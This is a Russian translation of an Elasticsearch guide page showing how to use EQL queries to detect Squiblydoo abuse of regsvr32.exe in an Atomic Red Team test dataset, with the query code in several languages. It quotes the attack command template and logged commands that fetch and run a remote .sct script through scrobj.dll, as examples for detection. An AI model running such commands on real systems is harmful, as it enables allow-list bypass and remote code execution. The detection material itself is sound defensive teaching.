Spec-Zone.ru › Elasticsearch 8
›Elasticsearch Guide [8.17] ›Поиск EQL

Пример: Обнаружение угроз с помощью EQL

В этом учебном примере показано, как использовать EQL для обнаружения киберугроз и другого подозрительного поведения. В данном сценарии требуется обнаружить злоупотребление regsvr32 в журнале событий Windows.

regsvr32.exe — встроенная командная утилита, используемая для регистрации .dll библиотек в Windows. Как системная утилита, regsvr32.exe имеет доверенный статус, позволяя ей обходить большинство программ по контролю списка разрешенных действий и блокировщиков сценариев. Злоумышленники с доступом к командной строке пользователя могут использовать regsvr32.exe для запуска вредоносных сценариев через .dll библиотеки, даже на машинах, где такие сценарии обычно запрещены.

Один из распространённых вариантов злоупотребления regsvr32 — атака Squiblydoo. При атаке Squiblydoo команда regsvr32.exe использует библиотеку scrobj.dll для регистрации и запуска удалённого сценария. Эти команды часто выглядят так:

"regsvr32.exe  /s /u /i:<script-url> scrobj.dll"

Настройка

В этом руководстве используется тестовый набор данных из Atomic Red Team, который включает события, имитирующие атаку Squiblydoo. Данные сопоставлены с полями Elastic Common Schema (ECS).

Для начала:

  1. Создайте шаблон индекса с включённой передачей данных:

    resp = client.indices.put_index_template(
        name="my-data-stream-template",
        index_patterns=[
            "my-data-stream*"
        ],
        data_stream={},
        priority=500,
    )
    print(resp)
    response = client.indices.put_index_template(
      name: 'my-data-stream-template',
      body: {
        index_patterns: [
          'my-data-stream*'
        ],
        data_stream: {},
        priority: 500
      }
    )
    puts response
    const response = await client.indices.putIndexTemplate({
      name: "my-data-stream-template",
      index_patterns: ["my-data-stream*"],
      data_stream: {},
      priority: 500,
    });
    console.log(response);
    PUT /_index_template/my-data-stream-template
    {
      "index_patterns": [ "my-data-stream*" ],
      "data_stream": { },
      "priority": 500
    }
  2. Скачайте normalized-T1117-AtomicRed-regsvr32.json.
  3. Используйте API bulk для индексирования данных в соответствующий поток:

    curl -H "Content-Type: application/json" -XPOST "localhost:9200/my-data-stream/_bulk?pretty&refresh" --data-binary "@normalized-T1117-AtomicRed-regsvr32.json"
  4. Используйте API cat indices для проверки индексирования данных:

    resp = client.cat.indices(
        index="my-data-stream",
        v=True,
        h="health,status,index,docs.count",
    )
    print(resp)
    response = client.cat.indices(
      index: 'my-data-stream',
      v: true,
      h: 'health,status,index,docs.count'
    )
    puts response
    const response = await client.cat.indices({
      index: "my-data-stream",
      v: "true",
      h: "health,status,index,docs.count",
    });
    console.log(response);
    GET /_cat/indices/my-data-stream?v=true&h=health,status,index,docs.count

    В ответе должна быть отображена docs.count из 150.

    health status index                                 docs.count
    yellow open   .ds-my-data-stream-2099.12.07-000001         150

Получение количества событий regsvr32

Сначала получите количество событий, связанных с процессом regsvr32.exe:

resp = client.eql.search(
    index="my-data-stream",
    filter_path="-hits.events",
    query="\n    any where process.name == \"regsvr32.exe\"                \n  ",
    size=200,
)
print(resp)
const response = await client.eql.search({
  index: "my-data-stream",
  filter_path: "-hits.events",
  query: '\n    any where process.name == "regsvr32.exe"                \n  ',
  size: 200,
});
console.log(response);
GET /my-data-stream/_eql/search?filter_path=-hits.events    
{
  "query": """
    any where process.name == "regsvr32.exe"                
  """,
  "size": 200                                               
}

?filter_path=-hits.events исключает свойство hits.events из ответа. Этот поиск предназначен только для получения количества событий, а не списка соответствующих событий.

Соответствует любому событию с process.name в значении regsvr32.exe.

Возвращает до 200 совпадений для соответствующих событий.

В ответе возвращается 143 связанных события.

{
  "is_partial": false,
  "is_running": false,
  "took": 60,
  "timed_out": false,
  "hits": {
    "total": {
      "value": 143,
      "relation": "eq"
    }
  }
}

Проверка на наличие артефактов командной строки

Процессам regsvr32.exe были связаны 143 события. Но как regsvr32.exe был вызван впервые? И кто его вызвал? regsvr32.exe — это утилита командной строки. Сузьте результаты до процессов, где использовалась командная строка:

resp = client.eql.search(
    index="my-data-stream",
    query="\n    process where process.name == \"regsvr32.exe\" and process.command_line.keyword != null\n  ",
)
print(resp)
const response = await client.eql.search({
  index: "my-data-stream",
  query:
    '\n    process where process.name == "regsvr32.exe" and process.command_line.keyword != null\n  ',
});
console.log(response);
GET /my-data-stream/_eql/search
{
  "query": """
    process where process.name == "regsvr32.exe" and process.command_line.keyword != null
  """
}

Запрос соответствует одному событию с event.type в значении creation, что указывает на запуск процесса regsvr32.exe. На основании значения process.command_line события, regsvr32.exe использовал scrobj.dll для регистрации сценария RegSvr32.sct. Это соответствует поведению атаки Squiblydoo.

{
  ...
  "hits": {
    "total": {
      "value": 1,
      "relation": "eq"
    },
    "events": [
      {
        "_index": ".ds-my-data-stream-2099.12.07-000001",
        "_id": "gl5MJXMBMk1dGnErnBW8",
        "_source": {
          "process": {
            "parent": {
              "name": "cmd.exe",
              "entity_id": "{42FC7E13-CBCB-5C05-0000-0010AA385401}",
              "executable": "C:\\Windows\\System32\\cmd.exe"
            },
            "name": "regsvr32.exe",
            "pid": 2012,
            "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
            "command_line": "regsvr32.exe  /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll",
            "executable": "C:\\Windows\\System32\\regsvr32.exe",
            "ppid": 2652
          },
          "logon_id": 217055,
          "@timestamp": 131883573237130000,
          "event": {
            "category": "process",
            "type": "creation"
          },
          "user": {
            "full_name": "bob",
            "domain": "ART-DESKTOP",
            "id": "ART-DESKTOP\\bob"
          }
        }
      }
    ]
  }
}

Проверка загрузки вредоносного сценария

Проверьте, загружается ли regsvr32.exe библиотека scrobj.dll:

resp = client.eql.search(
    index="my-data-stream",
    query="\n    library where process.name == \"regsvr32.exe\" and dll.name == \"scrobj.dll\"\n  ",
)
print(resp)
const response = await client.eql.search({
  index: "my-data-stream",
  query:
    '\n    library where process.name == "regsvr32.exe" and dll.name == "scrobj.dll"\n  ',
});
console.log(response);
GET /my-data-stream/_eql/search
{
  "query": """
    library where process.name == "regsvr32.exe" and dll.name == "scrobj.dll"
  """
}

Запрос соответствует событию, подтверждая загрузку scrobj.dll.

{
  ...
  "hits": {
    "total": {
      "value": 1,
      "relation": "eq"
    },
    "events": [
      {
        "_index": ".ds-my-data-stream-2099.12.07-000001",
        "_id": "ol5MJXMBMk1dGnErnBW8",
        "_source": {
          "process": {
            "name": "regsvr32.exe",
            "pid": 2012,
            "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
            "executable": "C:\\Windows\\System32\\regsvr32.exe"
          },
          "@timestamp": 131883573237450016,
          "dll": {
            "path": "C:\\Windows\\System32\\scrobj.dll",
            "name": "scrobj.dll"
          },
          "event": {
            "category": "library"
          }
        }
      }
    ]
  }
}

Определение вероятности успеха

Во многих случаях злоумышленники используют вредоносные сценарии для подключения к удалённым серверам или загрузки других файлов. Используйте запрос EQL sequences для проверки следующих последовательностей событий:

  1. Процесс regsvr32.exe
  2. Загрузка библиотеки scrobj.dll тем же процессом
  3. Любое сетевое событие тем же процессом

На основании значения командной строки, увиденного в предыдущем ответе, вы ожидаете найти совпадение. Однако этот запрос не предназначен для этой конкретной команды. Вместо этого он ищет шаблон подозрительного поведения, достаточно общий для обнаружения подобных угроз.

resp = client.eql.search(
    index="my-data-stream",
    query="\n    sequence by process.pid\n      [process where process.name == \"regsvr32.exe\"]\n      [library where dll.name == \"scrobj.dll\"]\n      [network where true]\n  ",
)
print(resp)
const response = await client.eql.search({
  index: "my-data-stream",
  query:
    '\n    sequence by process.pid\n      [process where process.name == "regsvr32.exe"]\n      [library where dll.name == "scrobj.dll"]\n      [network where true]\n  ',
});
console.log(response);
GET /my-data-stream/_eql/search
{
  "query": """
    sequence by process.pid
      [process where process.name == "regsvr32.exe"]
      [library where dll.name == "scrobj.dll"]
      [network where true]
  """
}

Запрос соответствует последовательности, указывая на то, что атака, вероятно, была успешна.

{
  ...
  "hits": {
    "total": {
      "value": 1,
      "relation": "eq"
    },
    "sequences": [
      {
        "join_keys": [
          2012
        ],
        "events": [
          {
            "_index": ".ds-my-data-stream-2099.12.07-000001",
            "_id": "gl5MJXMBMk1dGnErnBW8",
            "_source": {
              "process": {
                "parent": {
                  "name": "cmd.exe",
                  "entity_id": "{42FC7E13-CBCB-5C05-0000-0010AA385401}",
                  "executable": "C:\\Windows\\System32\\cmd.exe"
                },
                "name": "regsvr32.exe",
                "pid": 2012,
                "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
                "command_line": "regsvr32.exe  /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll",
                "executable": "C:\\Windows\\System32\\regsvr32.exe",
                "ppid": 2652
              },
              "logon_id": 217055,
              "@timestamp": 131883573237130000,
              "event": {
                "category": "process",
                "type": "creation"
              },
              "user": {
                "full_name": "bob",
                "domain": "ART-DESKTOP",
                "id": "ART-DESKTOP\\bob"
              }
            }
          },
          {
            "_index": ".ds-my-data-stream-2099.12.07-000001",
            "_id": "ol5MJXMBMk1dGnErnBW8",
            "_source": {
              "process": {
                "name": "regsvr32.exe",
                "pid": 2012,
                "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
                "executable": "C:\\Windows\\System32\\regsvr32.exe"
              },
              "@timestamp": 131883573237450016,
              "dll": {
                "path": "C:\\Windows\\System32\\scrobj.dll",
                "name": "scrobj.dll"
              },
              "event": {
                "category": "library"
              }
            }
          },
          {
            "_index": ".ds-my-data-stream-2099.12.07-000001",
            "_id": "EF5MJXMBMk1dGnErnBa9",
            "_source": {
              "process": {
                "name": "regsvr32.exe",
                "pid": 2012,
                "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
                "executable": "C:\\Windows\\System32\\regsvr32.exe"
              },
              "@timestamp": 131883573238680000,
              "destination": {
                "address": "151.101.48.133",
                "port": "443"
              },
              "source": {
                "address": "192.168.162.134",
                "port": "50505"
              },
              "event": {
                "category": "network"
              },
              "user": {
                "full_name": "bob",
                "domain": "ART-DESKTOP",
                "id": "ART-DESKTOP\\bob"
              },
              "network": {
                "protocol": "tcp",
                "direction": "outbound"
              }
            }
          }
        ]
      }
    ]
  }
}

© 2023-2025 Elasticsearch
As of September 2024, Elasticsearch is available under a choice of three licenses: the Server Side Public License (SSPL), the Elastic License, or the AGPLv3 (OSI approved).
Elasticsearch and the Elasticsearch logo are trademarks of Elasticsearch B.V., registered in the U.S. and in other countries.
https://www.elastic.co/guide/en/elasticsearch/reference/8.17/eql-ex-threat-detection.html

Spec-Zone.ru

Настройки Оффлайн Что нового Помощь О нас
Spec-Zone .ru
спецификации, руководства, описания, API